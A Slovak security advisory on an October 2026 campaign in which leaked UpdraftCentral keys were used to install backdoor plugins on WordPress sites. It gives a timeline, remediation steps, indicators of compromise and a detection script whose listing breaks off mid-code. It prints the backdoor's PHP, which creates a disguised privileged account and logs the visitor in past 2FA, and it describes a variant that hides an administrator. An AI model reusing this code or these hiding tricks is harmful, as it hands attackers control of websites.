Kritický bezpečnostný problém UpdraftCentral: útočník s kľúčmi služby nahral backdoor na naše weby

Kritický bezpečnostný problém UpdraftCentral: útočník s kľúčmi služby nahral backdoor na naše weby

Zhrnutie

Stav k 19. októbru 2026, posledná aktualizácia 19. 10. 2026 (vyjadrenie výrobcu). Zoznam zmien je na konci článku. Text budeme dopĺňať podľa ďalšieho vývoja.

Aktualizácia 19. 10. 2026: TeamUpdraft potvrdil bezpečnostný incident. Cez víkend 17. a 18. októbra mal útočník neoprávnený prístup na teamupdraft.com a podľa výrobcu pravdepodobne získal zákaznícku databázu: mená, e-maily, fakturačné adresy, históriu objednávok, hashe hesiel, nastavenia dvojfaktorového overenia a kľúče spojení pre UpdraftCentral (cloud), UpdraftVault a UpdraftClone. Kľúče, ktorými útočník podpisoval príkazy, teda unikli priamo od výrobcu. Výrobca odhlásil všetky účty, vymenil kľúče pre UpdraftVault a UpdraftClone a pripravuje núdzovú verziu UpdraftPlus, ktorá automaticky odpojí všetky spojenia UpdraftCentral vytvorené pred 18. 10. 2026 22:00 BST (23:00 SELČ). Dashboardov UpdraftCentral hosťovaných na vlastnom serveri sa únik podľa výrobcu netýka.

Aktualizácia 19. 10. 2026 (večer): Patchstack zverejnil vlastnú analýzu, ktorá naše zistenia potvrdzuje a rozširuje. Videl 99 rôznych názvov backdoor pluginov nainštalovaných od 18. 10. 15:32 do 19. 10. 9:23 a druhú IP adresu útočníka 2a09:bac5:4e21:2e3c::49b:9. Ozvali sa nám aj ďalší postihnutí správcovia. Jeden z nich našiel druhý variant backdooru, ktorý vytvára skrytého administrátora. Popisujeme ho nižšie a kontrolný skript sme upravili, aby ho zachytil. Ak ste skript spúšťali skôr, spustite ho znova.

Čoho sa to týkaslužby UpdraftCentral, ktorej klient je súčasťou pluginu UpdraftPlus, bezplatného aj prémiového
Dotknuté verzievšetky verzie UpdraftPlus pripojené k UpdraftCentral Cloud spojením vytvoreným pred 18. 10. 2026 23:00 SELČ, vrátane najnovších 1.26.11 a 2.26.11. Pripojené weby s verziami do 1.26.4 a 2.26.4 vie útočník napadnúť aj bez platných kľúčov (CVE-2026-10795).
Koľko webovUpdraftPlus má podľa wordpress.org viac ako 4 milióny aktívnych inštalácií a výrobca ho označuje za najpopulárnejší plugin na plánované zálohovanie na svete. Pri júnovej chybe toho istého kanála výrobca odhadol, že kľúč UpdraftCentral alebo Migrator má menej ako 10 % používateľov, teda až okolo 400 000 webov. Koľko z nich útočník napadol, nevieme.
Opravavýrobca pripravuje núdzovú verziu UpdraftPlus, ktorá automaticky odpojí všetky spojenia UpdraftCentral vytvorené pred 18. 10. 2026 23:00 SELČ. Kým vyjde, treba kľúče zmazať ručne.
Dočasné riešeniezrušiť spojenie s UpdraftCentral, web skontrolovať naším skriptom, zmeniť heslo k účtu teamupdraft.com a voliteľne zablokovať príkazy UpdraftCentral malým mu-pluginom (postup nižšie). UpdraftPlus netreba odinštalovať, zálohovanie funguje ďalej.

V noci na 19. októbra 2026 poslal útočník z IP adresy 43.250.53.42 cez službu UpdraftCentral príkaz plugin.upload_plugin na tri naše WordPress weby. UpdraftCentral je služba na vzdialenú správu webov od TeamUpdraft a jej klient je zabudovaný v každej kópii pluginu UpdraftPlus. Na dvoch z našich webov príkaz prešiel a WordPress nainštaloval a aktivoval neznámy plugin. Na treťom zlyhal na oprávneniach.

Chyba nebola na našej strane. Všetky tri weby mali aktuálny WordPress 7.1.3 aj UpdraftPlus 2.26.11, opravený proti júnovej zraniteľnosti CVE-2026-10795. Útočník sa do našich serverov nenabúral a nevyužil žiadnu chybu v našej konfigurácii. Prišiel kanálom vzdialenej správy UpdraftCentral a príkazy podpísal platnými súkromnými kľúčmi dashboardu. Tie generuje a uchováva služba UpdraftCentral Cloud a na našich serveroch nikdy neboli. Kto ich má, môže na každom pripojenom webe bez vedomia majiteľa nainštalovať a spustiť ľubovoľný kód. Preto to považujeme za kritický bezpečnostný problém služby UpdraftCentral.

Kto je ohrozený: každý web s UpdraftPlus, bezplatným aj prémiovým, ktorý je pripojený k UpdraftCentral, teda má vytvorený kľúč UpdraftCentral. Klienta UpdraftCentral obsahuje každá z viac ako 4 miliónov inštalácií UpdraftPlus. Weby, ktoré k UpdraftCentral pripojené nie sú, tento útok neohrozuje, lebo príkazy UpdraftCentral bez kľúča neprijímajú. Naše weby boli pripojené k UpdraftCentral Cloud, teda k dashboardu, ktorý prevádzkuje TeamUpdraft. Podľa výrobcu sa únik netýka dashboardov UpdraftCentral hosťovaných na vlastnom serveri. Unikli však aj kľúče pre UpdraftVault a UpdraftClone, ktoré výrobca medzitým vymenil.

Nejde o zraniteľnosť CVE-2026-10795, o ktorej v júni písal Wordfence: tú mali naše weby opravenú a pokusy o jej zneužitie na nich zlyhávali.

Plugin je backdoor. Na tajný odkaz mal vytvoriť účet so zamaskovanými právami administrátora a útočníka do neho rovno prihlásiť. Autor však v kóde urobil chybu, takže backdoor nikdy nefungoval. Namiesto toho zhodil každú požiadavku na web, ktorá nešla z cache, a WordPress nám o tom poslal e-mail. Vďaka tomu sme ho našli do niekoľkých minút až hodín.

TeamUpdraft sme incident nahlásili 19. októbra a požiadali sme ich o vysvetlenie, ako sa kľúče dostali k útočníkovi.

Ak máte web pripojený k UpdraftCentral, považujte ho za potenciálne kompromitovaný, kým ho neoveríte. Spojenie okamžite zrušte a web skontrolujte podľa postupu nižšie. K 19. októbru 2026 sme o tomto backdoore ani o podobnom útoku po júnovej oprave nenašli žiadnu verejnú zmienku.

Čo urobiť hneď

1. Zrušte spojenie s UpdraftCentral

V administrácii WordPressu otvorte Nastavenia → UpdraftPlus Backups → karta „Advanced Tools“ → „UpdraftCentral“. Kliknite na „Manage existing keys (N)…“ a pri každom kľúči na „Delete…“. Ak tam žiadny kľúč nie je, web pripojený nie je.

S prístupom na príkazový riadok to isté urobí tento príkaz v koreňovom priečinku WordPressu:

wp option delete updraft_central_localkeys

Potom web odstráňte aj v dashboarde UpdraftCentral (teamupdraft.com → My account → UpdraftCentral → ••• pri webe → Remove site). Samotné odstránenie z dashboardu nestačí. Útočník má súkromný kľúč dashboardu, takže rozhoduje zmazanie kľúča na webe.

Výrobca uvádza, že po zmazaní kľúča, kontrole webu a zmene hesiel administrátorov môžete web znova pripojiť. Predtým si zmeňte heslo k účtu teamupdraft.com (adresu zadajte do prehliadača ručne, nie cez odkaz z e-mailu), rovnaké heslo zmeňte všade, kde ste ho použili, a znova nastavte dvojfaktorové overenie. Ak máte nasadený náš blokovací mu-plugin, pred novým pripojením ho odstráňte. Kto používa UpdraftVault, musí web k nemu znova pripojiť s novými údajmi.

2. Overte, či na webe nie je backdoor

Bez príkazového riadka:

  • Na tej istej obrazovke UpdraftCentral kliknite na „View recent UpdraftCentral log events…“. Hľadajte riadky „Command received: plugin.upload_plugin“ a „probe.central.updraftplus.com“.
  • V zozname pluginov hľadajte plugin s popisom „Small maintenance toolkit: keeps option storage tidy.“ a s názvom z dvoch slov a troch znakov, napríklad „Load Stack 35C“.
  • Plugin s popisom „Improves cron tasks efficiency for content sites with minimal overhead.“ je druhý variant. Jeho účet sa v zozname používateľov nezobrazí, preto web skontrolujte aj skriptom.
  • V zozname používateľov hľadajte účet s menom „Site Tools“ alebo s e-mailom na @example.org.

Ak backdoor na webe je, administrácia nemusí fungovať, lebo plugin zhadzuje každú požiadavku. Vtedy použite príkazový riadok.

S príkazovým riadkom uložte náš kontrolný skript z konca článku ako check-updraftcentral.php do koreňového priečinka WordPressu a spustite:

wp eval-file check-updraftcentral.php --skip-plugins --skip-themes

Skript nič nemení, iba číta. Prepínač --skip-plugins je dôležitý, lebo nainštalovaný backdoor inak zhodí aj WP-CLI. Riadky [ALERT] znamenajú stopy útoku, [WARN] vec na kontrolu a [OK] čistý výsledok. Záznam o prijatom príkaze ešte neznamená, že sa plugin nainštaloval (na jednom z našich webov neprešiel), preto skript kontroluje aj súbory, voľby v databáze a účty. Ak nájde čokoľvek s [ALERT], pokračujte časťou „Čo robiť, ak ho nájdete“.

UpdraftPlus si v logu UpdraftCentral pamätá iba posledných 50 udalostí. Na webe, kam často chodia skenery, môže záznam o útoku z logu vypadnúť a skript potom pri logu hlási [OK]. Ak máte prístup k logom webového servera, prehľadajte aj ich (cestu upravte podľa servera, pri nginx napríklad /var/log/nginx/):

grep 'class-udrpc.php"' /var/log/apache2/*access*

Príkaz nájde požiadavky UpdraftCentral bez verzie knižnice v hlavičke User-Agent, aké posielal útočník. Skutočný dashboard posiela class-udrpc.php/2.0; https://teamupdraft.com, takže ho príkaz nezachytí.

3. Voliteľne: zablokujte príkazy UpdraftCentral úplne

Ak chcete mať istotu, že web nevykoná žiadny príkaz UpdraftCentral ani vtedy, keby na ňom ostal kľúč, uložte do priečinka wp-content/mu-plugins/ súbor block-updraftcentral.php s týmto obsahom:

<?php
// Nethemba: block all UpdraftCentral (UDRPC) commands until the vendor resolves the October 2026 incident.
if ( isset( $_POST['udrpc_message'] ) ) {
    http_response_code( 403 );
    exit;
}

Súbory v mu-plugins WordPress načíta pred bežnými pluginmi, takže požiadavka sa zastaví skôr, než ju UpdraftPlus spracuje. Blokuje aj migráciu webov cez UpdraftPlus Migrator, ktorá používa ten istý kanál. Keď výrobca problém vysvetlí a vyrieši, súbor zmažte.

Ako sme na to prišli

O 5:38 nám prišiel automatický e-mail WordPressu: „WordPress caught an error with one of your plugins, Load Stack 35C.“ Plugin s takým názvom sme nikdy neinštalovali. Chybová správa znela Uncaught Error: Undefined constant LoadStack35c::FIELD a náš web od 4:14 vracal na každú požiadavku chybu 500.

Priečinok wp-content/plugins/load-stack-35c/ mal všetky súbory s rovnakým časom zápisu, 4:14:30. O sekundu neskôr sa zmenil priečinok wp-content/upgrade/, ktorý WordPress používa pri rozbaľovaní inštalovaných pluginov. Plugin teda prišiel cez štandardný inštalátor WordPressu, nie cez nahratie súboru na disk. V access logu presne v tej sekunde stojí jediná požiadavka:

43.250.53.42 - - [19/Oct/2026:04:14:30 +0200] "POST / HTTP/1.1" 200 8454 "-" "WordPress/6.4; class-udrpc.php"

class-udrpc.php je knižnica, cez ktorú UpdraftPlus prijíma príkazy z UpdraftCentral. Jej vlastný log (voľba updraftcentral_client_log v databáze) to potvrdil: Command received: plugin.upload_plugin.

Časová os

Weby označujeme A, B a C. Všetky časy sú v SELČ. Všetky požiadavky prišli z 43.250.53.42 (poskytovateľ RedSwitches) s hlavičkou User-Agent WordPress/6.4; class-udrpc.php.

WebSondaInštalácia pluginuVýsledok
Web C19. 10. 0:41:326:05:31zlyhala, kľúč patril používateľovi bez práva inštalovať pluginy
Web A2:14:054:14:30backdoor „Load Stack 35C“ aktívny, web nedostupný do 6:13
Web B2:39:446:53:49backdoor „Text Gantry Eb0“ aktívny, odstránený o 6:56

Sonda je správa adresovaná neexistujúcemu kľúču probe.central.updraftplus.com. Web na ňu odpovie, že správe nerozumie, a tým prezradí, že prijíma príkazy UpdraftCentral. Nasledujúci príkaz už útočník poslal na skutočný kľúč 0.central.updraftplus.com. Na všetkých troch weboch prebehol útok rovnako, od toho istého útočníka, s odstupom niekoľkých hodín.

Ako útok prebehol

Pri pripojení webu k UpdraftCentral si web vygeneruje pár kľúčov RSA a verejný kľúč pošle službe UpdraftCentral Cloud. Služba má vlastný pár kľúčov a webu pošle iba svoj verejný kľúč. Súkromný kľúč dashboardu ostáva u služby. Každý príkaz musí byť zašifrovaný pre kľúč webu a podpísaný súkromným kľúčom dashboardu. Web ho potom vykoná s právami používateľa, ktorý kľúč vo WordPresse vytvoril.

Príkaz plugin.upload_plugin prešiel na dvoch weboch celou touto kontrolou. Podrobne sme to rozobrali na webe A a vylúčili sme tieto vysvetlenia:

  1. Známa zraniteľnosť CVE-2026-10795. Týka sa verzií UpdraftPlus do 1.26.4 (prémiová do 2.26.4). Naše weby mali 2.26.11. Pokusy o jej zneužitie vidíme na weboch B a C v logoch od júna z desiatok IP adries a všetky skončili hláškou „Could not decrypt incoming message“.
  2. Upravený plugin. Súbory class-udrpc2.php, central/bootstrap.php, central/listener.php a central/host.php sú bajt po bajte zhodné s oficiálnou verziou 1.26.11 z wordpress.org.
  3. Starší formát správ bez podpisu. Kód ho pre kľúče UpdraftCentral odmieta a záznam „Command received“ vzniká až po tejto kontrole.
  4. Podvrhnutý kľúč dashboardu. Odtlačky kľúčov sú rovnaké v denných zálohách z 15. až 18. októbra aj v živej databáze a v access logoch nikto nevolal funkciu na výmenu kľúča.
  5. Slabá kryptografia. Kľúč webu aj dashboardu majú RSA 2048 bitov s exponentom 65537 a UpdraftPlus obsahuje phpseclib 2.0.55, v ktorej je opravená známa chyba v overovaní podpisov.
  6. Napadnutý wp-admin. Neznámi administrátori nepribudli, kontrolné súčty jadra aj pluginov sedia a v logoch nie je žiadne nahratie pluginu cez administráciu.

Útočník teda mal súkromné kľúče dashboardu pre všetky tri spojenia naraz. Na našich serveroch tieto kľúče nikdy neboli, takže odtiaľ uniknúť nemohli. Príkazy pritom neprišli zo servera TeamUpdraft. Skutočný dashboard posielal na web B v marci a apríli 2026 príkazy s hlavičkou User-Agent:

WordPress/6.8.5; class-udrpc.php/2.0; https://teamupdraft.com

Útočník posielal WordPress/6.4; class-udrpc.php, bez verzie knižnice a bez URL, zo svojho servera. Kľúče teda unikli z prostredia UpdraftCentral Cloud a útočník ich použil mimo neho.

TeamUpdraft 19. októbra potvrdil, že cez víkend 17. a 18. októbra mal útočník prístup na teamupdraft.com a pravdepodobne aj k zákazníckej databáze vrátane kľúčov UpdraftCentral. Kľúče teda unikli z infraštruktúry výrobcu. Zodpovedá tomu aj časová os: kľúče pre weby B a C existovali od novembra 2025 a útočník ich nepoužil až do noci z 18. na 19. októbra, teda hneď po úniku. Ako sa útočník na teamupdraft.com dostal, výrobca neuviedol.

Na webe C útok zlyhal pre náhodu. Kľúč tam v novembri 2025 vytvoril používateľ, ktorý už nie je administrátor. UpdraftCentral pred inštaláciou overuje, či má vlastník kľúča práva install_plugins a activate_plugins. Nemal ani jedno.

Prečo ide o kritický problém UpdraftCentral

Klient UpdraftCentral je súčasťou každej kópie UpdraftPlus, bezplatnej aj prémiovej. Zapne sa, keď majiteľ pripojí web k dashboardu. Odvtedy web vykoná každý príkaz podpísaný kľúčom dashboardu s právami administrátora, ktorý spojenie vytvoril, vrátane nahratia a aktivácie ľubovoľného pluginu. Majiteľ webu príkaz nepotvrdzuje a v našom prípade nás o ňom nič neupozornilo. Kľúče na strane webu nemajú dobu platnosti: tie z novembra 2025 fungovali aj v októbri 2026.

Bezpečnosť všetkých pripojených webov tak stojí na jedinom predpoklade, že súkromné kľúče dashboardu neuniknú. Unikli, a útočník z jedného miesta za pár hodín ovládol dva weby a pokúsil sa o tretí. UpdraftPlus má viac ako 4 milióny aktívnych inštalácií. Počtom inštalácií ho medzi pluginmi so zálohovaním na wordpress.org predbieha iba All-in-One WP Migration (5+ miliónov), ktorý slúži hlavne na migráciu webov. UpdraftCentral používa len časť používateľov UpdraftPlus, aj malý podiel zo 4 miliónov však znamená veľa webov.

Ten istý kanál už raz zlyhal. V júni 2026 výrobca opravil zraniteľnosť CVE-2026-10795 (CVSS 8.1), cez ktorú mohol útočník bez prihlásenia podvrhnúť príkazy UpdraftCentral a nainštalovať a aktivovať škodlivý plugin. Pokusy o jej zneužitie zachytávame v našich logoch dodnes.

Čo presne backdoor robí

Plugin má päť súborov, ale logiku obsahuje iba hlavný. Tu je jeho podstatná časť zo vzorky z webu A. Token a heslo sme skrátili:

define( 'LOADSTACK35C_TOKEN', 'j0j8nxxH…' );      // 32 znakov
define( 'LOADSTACK35C_FIELD', '_9f5696' );
define( 'LOADSTACK35C_SVC_LOGIN', 'data-ops43' );
define( 'LOADSTACK35C_SVC_PASS', 'L7sfkZMw…' );    // 22 znakov

final class LoadStack35c {
    private function __construct() {
        add_action( 'init', array( $this, 'handle_sync' ), 1 );
    }

    public function handle_sync() {
        if ( isset( $_GET[ self::FIELD ] ) && hash_equals( self::TOKEN, (string) $_GET[ self::FIELD ] ) ) {
            $user = get_user_by( 'login', self::SVC_LOGIN );
            if ( ! $user ) {
                $uid = wp_insert_user( array(
                    'user_login'   => self::SVC_LOGIN,
                    'user_pass'    => self::SVC_PASS,
                    'user_email'   => self::SVC_LOGIN . '@example.org',
                    'display_name' => 'Site Tools',
                    'role'         => 'editor',
                ) );
                if ( is_wp_error( $uid ) ) return;
                $u = new WP_User( $uid );
                $u->add_cap( 'manage_options' );
                $u->add_cap( 'install_plugins' );
                $user = get_user_by( 'id', $uid );
            }
            wp_set_current_user( $user->ID, $user->user_login );
            wp_set_auth_cookie( $user->ID, true, is_ssl() );
            wp_safe_redirect( admin_url( 'index.php' ) );
            exit;
        }
    }
}

register_activation_hook( __FILE__, function () {
    if ( ! get_option( 'load_stack_35c_sync_token' ) ) {
        update_option( 'load_stack_35c_sync_token', 'j0j8nxxH…', false );
    }
} );

LoadStack35c::instance();

Takto by fungoval, keby v ňom nebola chyba:

  1. Pri každej požiadavke na web sa zavesí na akciu init s prioritou 1, teda skôr než väčšina ostatných pluginov.
  2. Pozrie sa, či adresa obsahuje parameter ?_9f5696=, a jeho hodnotu porovná s 32-znakovým tokenom. Porovnáva funkciou hash_equals, ktorá trvá rovnako dlho bez ohľadu na zhodu, takže token sa nedá uhádnuť meraním času odpovede. Bez správneho tokenu sa nestane nič a web sa správa normálne.
  3. So správnym tokenom vytvorí používateľa data-ops43 s heslom zapísaným v plugine, e-mailom data-ops43@example.org a zobrazovaným menom „Site Tools“.
  4. Dá mu rolu Editor a k tomu dve samostatné oprávnenia: manage_options a install_plugins.
  5. Prihlási návštevníka ako tohto používateľa cez wp_set_auth_cookie s voľbou „zapamätať si ma“, teda cookie platnou 14 dní. Prihlasovací formulár tým úplne obíde, takže naň nepôsobí dvojfaktorové overenie, obmedzenie počtu pokusov ani ochrana prihlásenia vo Wordfence.
  6. Presmeruje ho do administrácie.

Rola Editor s dvoma oprávneniami navyše je zámer. V zozname používateľov sa účet ukazuje ako Editor, nie Administrátor, takže pri bežnej kontrole adminov ho prehliadnete. Prakticky má však plnú moc nad webom:

  • install_plugins dovolí nahrať ľubovoľný plugin. Jeho PHP súbory sa dajú spustiť priamo cez URL aj bez aktivácie, čo znamená spustenie ľubovoľného kódu na serveri.
  • manage_options sprístupní všetky nastavenia. Stačí zapnúť registráciu a predvolenú rolu nastaviť na administrátora, a útočník si vytvorí plnohodnotného admina.
  • Editor má na bežnom WordPresse aj unfiltered_html, takže môže do článkov vložiť JavaScript, ktorý sa spustí v prehliadači každého administrátora.

Backdoor má aj druhú vrstvu. Vytvorený účet so známym heslom ostane vo WordPresse aj po odstránení pluginu a útočník sa ním vie prihlásiť cez bežný formulár, ak tento účet nemá zapnuté dvojfaktorové overenie.

Chyba, ktorá nás zachránila

Konštanty sú definované funkciou define() ako globálne (LOADSTACK35C_FIELD), ale kód ich číta ako konštanty triedy (self::FIELD). Trieda žiadne konštanty nemá. PHP 8 preto pri prvom vyhodnotení self::FIELD vyhodí Error: Undefined constant LoadStack35c::FIELD. Stane sa to ešte pred kontrolou tokenu, teda pri každej požiadavke: pri bežnej návšteve, v administrácii, pri prihlásení, v REST API, pri crone aj vo WP-CLI. Web padá s chybou 500 a obsluhuje len stránky uložené v cache.

Požiadavka s inštaláciou pritom dobehla úspešne. UpdraftCentral spracúva príkazy až v akcii wp_loaded, ktorá prichádza po init, takže v tej požiadavke sa chybný kód nespustil. Útočník dostal potvrdenie o úspechu a o chybe sa z odpovede nedozvedel. Spadli až nasledujúce požiadavky.

Útočníkovi však stačí opraviť pár znakov a ďalšia vlna môže fungovať. Ak u seba nájdete podobný „pokazený“ plugin, neopravujte ho. Oprava by backdoor zapla. Odstráňte ho.

Ďalšie detaily

  • Plugin sa tvári ako bežný doplnok: má úplnú hlavičku, licenciu GPL, Text Domain, popis „Small maintenance toolkit: keeps option storage tidy.“ a vymyslené vydavateľstvo („PixelBinder“, „Harbor Stack Labs“).
  • Súbory assets/public.css, assets/public.js a languages/readme.txt obsahujú iba komentár. Plugin ich nikde nepoužíva, sú tam, aby priečinok vyzeral ako skutočný plugin.
  • uninstall.php pri odinštalovaní z administrácie zmaže voľby <slug>_sync_token a <slug>_setup_stamp, teda stopy po sebe. Druhú voľbu kód nikde nevytvára, je to pozostatok šablóny.
  • Pri aktivácii uloží token do voľby <slug>_sync_token bez automatického načítania. Kód ju nikde nečíta.
  • Obe vzorky vyrobil ten istý generátor. Keď v nich nahradíme názvy, tokeny, mená a verzie zástupnými reťazcami, sú všetky súbory bajt po bajte zhodné. Názov má tvar slovo-slovo-3 hex znaky, parameter _ a 6 hex znakov, používateľ slovo-slovo a dve číslice. Token má 32 znakov a heslo 22 znakov (písmená, číslice, podčiarkovník).

Indikátory kompromitácie

Web AWeb B
Priečinok pluginuload-stack-35ctext-gantry-eb0
Názov / autor / verziaLoad Stack 35C / PixelBinder / 1.2.6Text Gantry Eb0 / Harbor Stack Labs / 3.9.5
Parameter v URL_9f5696_3e9caa
Používateľdata-ops43media-staff96
Voľba v databázeload_stack_35c_sync_tokentext_gantry_eb0_sync_token
SHA-256 hlavného súboru3c3355f7692d4951e5655683783795579467c9bf1ae2152e13b8c80e9021209fbb40f9a87cea678aa50e5286dd91c0903d6a7fc1b12391472187a0919b4d0801
SHA-256 uninstall.php4186ae2aa0472a4e7929b21bb87f9b61866cb3790f69f4b6c9813e196955d5f04943fc21efa4b81516130f92bf4efe3b832e1bb69e499d2e42587233a0a005e9

Ďalšie vzorky prvého variantu nám poslali iné obete a ďalšie názvy uvádza Patchstack:

  • hero-frame-2c5, autor „CopperForge WP“, používateľ s e-mailom render-build21@example.org, SHA-256 hlavného súboru a9b625496a8ec82862ded01900f720c28f111e624176df7e25be7331f22e4cc9, uninstall.php 325722876a5f8e184b88cf415900ab52c9103553bc4be502399a2272550f2111
  • card-binder-104, verzia 2.6.7, používateľ render.desk87
  • podľa Patchstacku napríklad „Site Health Cache“, „Asset Forge 2“, „Content Helper“ a „Wp Forge“, spolu 99 názvov

Spoločné znaky:

  • IP adresy 43.250.53.42 a 2a09:bac5:4e21:2e3c::49b:9, User-Agent presne WordPress/6.4; class-udrpc.php, požiadavka POST /
  • v logu UpdraftCentral sonda probe.central.updraftplus.com a o niekoľko hodín Command received: plugin.upload_plugin
  • popis pluginu „Small maintenance toolkit: keeps option storage tidy.“
  • používateľ s e-mailom na @example.org a zobrazovaným menom „Site Tools“, s rolou Editor a oprávneniami manage_options a install_plugins
  • fatálna chyba Undefined constant <Trieda>::FIELD a e-mail WordPressu o chybe v plugine, ktorý nepoznáte

Druhý variant: skrytý administrátor

Tento variant sme sami neanalyzovali. Popis aj indikátory nám poslal správca približne 145 webov, z ktorých útočník napadol tri. Na jeden nahral variant opísaný vyššie, na dva ďalšie iný plugin. Patchstack tento variant vo svojej analýze zatiaľ neuvádza.

  • Názvy: „Src Lab“ (src-lab, autor „WPBridge“, verzia 3.0.0) a „Render Helper 232b“ (render-helper-232b, verzia 3.7.9).
  • Popis: „Improves cron tasks efficiency for content sites with minimal overhead.“ Na zakrytie plugin naozaj pridá denný cron, ktorý maže expirované transienty, a filter pre jQuery na stránkach AMP.
  • Spúšťač: parameter s názvom z 12 hex znakov a 32-znakový token, napríklad ?303541c9dfd0=…&m=setup. Režim m=setup vytvorí administrátora (napríklad cmseditor170@example.com alebo web_mgr684@example.com), režim m=svc prihlási návštevníka do tohto účtu. Bez parametra m ho prihlási ako prvého existujúceho administrátora webu.
  • ID vytvoreného účtu ukladá do voľby <slug>_uid, napríklad src_lab_uid.
  • Účet skrýva: háčik pre_user_query ho vyradí zo zoznamu používateľov a filter pre_count_users zníži počet administrátorov o jedného. V administrácii ho teda neuvidíte.
  • Nemá uninstall.php. Pri deaktivácii zmaže len voľbu <slug>_installed.
  • SHA-256 src-lab.php: 59231b0e5004672b3058b47b4b4ff2b1fa89f1961bedf1741ba285e8adbe4928
  • Doručenie je rovnaké ako pri prvom variante, cez sondu a plugin.upload_plugin, z IP 2a09:bac5:4e21:2e3c::49b:9 (src-lab 18. 10. 23:39 UTC, render-helper-232b 19. 10. 0:03 UTC).

Správca neuvádza, že by tento variant mal rovnakú chybu ako prvý, preto treba počítať s tým, že funguje. Na jeho weboch ho útočník nepoužil: nevznikla voľba _uid, žiadny účet ani cudzia relácia.

Ako ho nájsť: v súboroch pluginov hľadajte „Improves cron tasks efficiency“ alebo „keep service accounts out of the main user list“ a používateľov kontrolujte priamo v tabuľke wp_users, nie cez administráciu. Náš kontrolný skript vo verzii 2 robí oboje. V access logu hľadajte požiadavky s parametrom z 12 hex znakov:

grep -E '\?[0-9a-f]{12}=[A-Za-z0-9_-]{32}' /var/log/apache2/*access*

Čo robiť, ak ho nájdete

  1. Ak ste to ešte neurobili, zrušte spojenie s UpdraftCentral podľa postupu v časti „Čo urobiť hneď“. Inak môže útočník poslať opravenú verziu backdooru.
  2. Plugin deaktivujte a presuňte mimo webového priečinka. Ak ho chcete ponechať ako dôkaz, nemažte ho cez administráciu, lebo uninstall.php zmaže jeho voľby.
  3. Zmažte voľbu <slug>_sync_token.
  4. Skontrolujte používateľov kontrolným skriptom nižšie. Ak backdoor fungoval, teda jeho účet existuje alebo sa v access logu objavila požiadavka s jeho parametrom, považujte web za plne kompromitovaný. Útočník mohol nahrať ďalšie pluginy alebo webshell a zmeniť súbory či databázu. Web obnovte zo zálohy spred 17. októbra, porovnajte súbory s čistou inštaláciou a prejdite všetkých používateľov s oprávneniami navyše.
  5. Zmeňte heslá administrátorov a k účtu UpdraftCentral Cloud, ukončite všetky prihlásené relácie a zapnite dvojfaktorové overenie.
  6. Zvážte, či vzdialenú správu potrebujete. Ak áno, kľúč vytvorte pod účtom, ktorý nemá práva inštalovať pluginy, ak ich na diaľku nepotrebujete. Na webe C útok zastavila práve táto náhoda.

Kontrolný skript

Skript skontroluje päť vecí: či je web pripojený k UpdraftCentral, čo web cez UpdraftCentral prijal, či sú v priečinkoch plugins a mu-plugins súbory backdooru, či sú v databáze jeho voľby a či existuje jeho účet alebo iný používateľ bez roly administrátora s oprávneniami manage_options či install_plugins. Verzia 2 zachytí aj druhý variant: hľadá jeho súbory a voľbu _uid, používateľov číta priamo z databázy, takže ich skrývanie neobíde, a upozorní na administrátorov vytvorených od 17. 10.

Na webe A po odstránení backdooru vypíše:

[OK]    No active UpdraftCentral connection.
[WARN]  2026-10-19 00:14 UTC  43.250.53.42  probe for UpdraftCentral (UA: WordPress/6.4; class-udrpc.php).
[ALERT] 2026-10-19 02:14 UTC  43.250.53.42  "Command received: plugin.upload_plugin" (UA: WordPress/6.4; class-udrpc.php). A plugin or theme was pushed to this site.
[OK]    No backdoor plugin files found.
[OK]    No backdoor options in the database.
[OK]    No backdoor accounts or hidden admin-level users.

Skript si môžete stiahnuť aj priamo:

curl -o check-updraftcentral.php https://nethemba.com/wp-content/uploads/2026/10/check-updraftcentral.txt

SHA-256 skriptu: f9247f96a4882722742ddff1eaa515f9eb70faa8f382429fe4204c3d617e57b0. Celý kód:

<?php
/**
 * Nethemba: check for the UpdraftCentral backdoor campaign of October 2026.
 * Read-only. It changes nothing on the site.
 * v2: also detects the second variant, which creates a hidden administrator.
 *
 * Run in the WordPress root directory:
 *   wp eval-file check-updraftcentral.php --skip-plugins --skip-themes
 *
 * --skip-plugins matters: an installed copy of the backdoor crashes every request,
 * including WP-CLI, unless plugins are skipped.
 */

$alerts = 0;
$warnings = 0;
$report = function ( $level, $message ) use ( &$alerts, &$warnings ) {
    if ( 'ALERT' === $level ) $alerts++;
    if ( 'WARN' === $level ) $warnings++;
    echo str_pad( "[$level]", 8 ), $message, "\n";
};

echo "UpdraftCentral backdoor check for ", get_option( 'siteurl' ), "\n\n";

// 1. Is the site connected to UpdraftCentral?
$keys = get_option( 'updraft_central_localkeys' );
if ( is_array( $keys ) && $keys ) {
    foreach ( $keys as $id => $key ) {
        $report( 'WARN', sprintf(
            'UpdraftCentral connection is active: key %s, created %s by user "%s". Delete it now.',
            $id,
            isset( $key['created'] ) ? gmdate( 'Y-m-d', $key['created'] ) : '?',
            isset( $key['extra_info']['user_login'] ) ? $key['extra_info']['user_login'] : '?'
        ) );
    }
} else {
    $report( 'OK', 'No active UpdraftCentral connection.' );
}

// 2. What the site received over UpdraftCentral.
$log = get_site_option( 'updraftcentral_client_log' );
$log_hits = 0;
foreach ( is_array( $log ) ? $log : array() as $entry ) {
    $message = isset( $entry['message'] ) ? $entry['message'] : '';
    $agent   = isset( $entry['http_user_agent'] ) ? $entry['http_user_agent'] : '';
    $when    = isset( $entry['time'] ) ? gmdate( 'Y-m-d H:i', $entry['time'] ) . ' UTC' : '?';
    $ip      = isset( $entry['remote_ip'] ) ? $entry['remote_ip'] : '?';
    if ( preg_match( '/upload_(plugin|theme)/', $message ) ) {
        $report( 'ALERT', "$when  $ip  \"$message\" (UA: $agent). A plugin or theme was pushed to this site." );
        $log_hits++;
    } elseif ( false !== strpos( $message, 'probe.central.updraftplus.com' ) ) {
        $report( 'WARN', "$when  $ip  probe for UpdraftCentral (UA: $agent)." );
        $log_hits++;
    } elseif ( 'Command received' === substr( $message, 0, 16 ) && preg_match( '/class-udrpc\.php$/', $agent ) ) {
        $report( 'ALERT', "$when  $ip  \"$message\" from a client that is not UpdraftCentral Cloud (UA: $agent)." );
        $log_hits++;
    }
}
if ( ! $log_hits ) $report( 'OK', 'UpdraftCentral log shows no plugin uploads, probes or foreign clients.' );

// 3. Backdoor plugins in plugins and mu-plugins.
$plugin_hits = 0;
foreach ( array( WP_PLUGIN_DIR . '/*/*.php', WPMU_PLUGIN_DIR . '/*.php' ) as $pattern ) {
    foreach ( (array) glob( $pattern ) as $file ) {
